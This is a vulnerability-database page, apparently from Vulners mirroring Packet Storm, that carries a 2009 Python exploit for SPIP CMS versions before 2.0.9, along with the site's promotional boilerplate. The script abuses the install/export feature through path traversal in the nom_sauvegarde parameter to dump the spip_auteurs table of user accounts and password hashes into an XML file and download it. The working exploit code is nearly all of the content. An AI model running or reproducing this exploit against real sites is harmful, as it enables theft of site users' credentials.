Lucene search
K

SPIP Copy All Passwords

🗓️ 18 Aug 2009 00:00:00Reported by Kernel_PanikType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

SPIP < 2.0.9 exploit by Kernel_Panik. Copy all passwords from the Content Management System and save as an XML file

Code
`#!/usr/bin/env python  
# SPIP - Content Management System < 2.0.9 exploit  
# http://www.securityfocus.com/bid/36008  
# Author : Kernel_Panik  
#  
  
import urllib, urllib2  
import cookielib  
import sys  
  
def send_request(urlOpener, url, post_data=None):  
request = urllib2.Request(url)  
url = urlOpener.open(request, post_data)  
return url.read()  
  
def extract_hash(formulaire):  
return formulaire.split("<input name='hash' type='hidden' value='")[1].split("'")[0]  
  
  
if len(sys.argv) < 3:  
print "SPIP < 2.0.9 exploit by Kernel_Panik\n\tUsage: python script.py <Base_url> <filename>"  
exit()  
  
filename = sys.argv[2]  
base_url = sys.argv[1]  
  
cookiejar = cookielib.CookieJar()  
urlOpener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookiejar))  
  
  
formulaire = send_request(urlOpener, base_url+"ecrire/?exec=install&reinstall=non&transformer_xml=export_all&nom_sauvegarde=../../../IMG/"+filename)  
print "[+] First request sended..."  
  
formulaire_data = {'action' : 'export_all',  
'export[]' : 'spip_auteurs',  
'hash' : extract_hash(formulaire),  
'arg' : 'start,,../../../IMG/'+filename+'.xml,0,1.3'  
}  
formulaire_data = urllib.urlencode(formulaire_data)  
  
  
send_request(urlOpener, base_url+"spip.php", formulaire_data)  
print "[+] Formulaire content sended"  
  
  
send_request(urlOpener, base_url+"ecrire/?exec=install&reinstall=non&transformer_xml=export_all&nom_sauvegarde=../../../IMG/"+filename)  
print "[+] Second request sended"  
  
  
send_request(urlOpener, base_url+"ecrire/?exec=install&reinstall=non&transformer_xml=export_all&nom_sauvegarde=../../../IMG/"+filename)  
print "[+] Last request sended"  
  
xml_content = send_request(urlOpener, base_url+"IMG/"+filename+".xml")  
print "[+] Xml file obtained"  
  
  
result = open(filename+".xml", "w")  
result.write(xml_content)  
result.close()  
print "[+] File saved "  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Aug 2009 00:00Current
0.2Low risk
Vulners AI Score0.2
18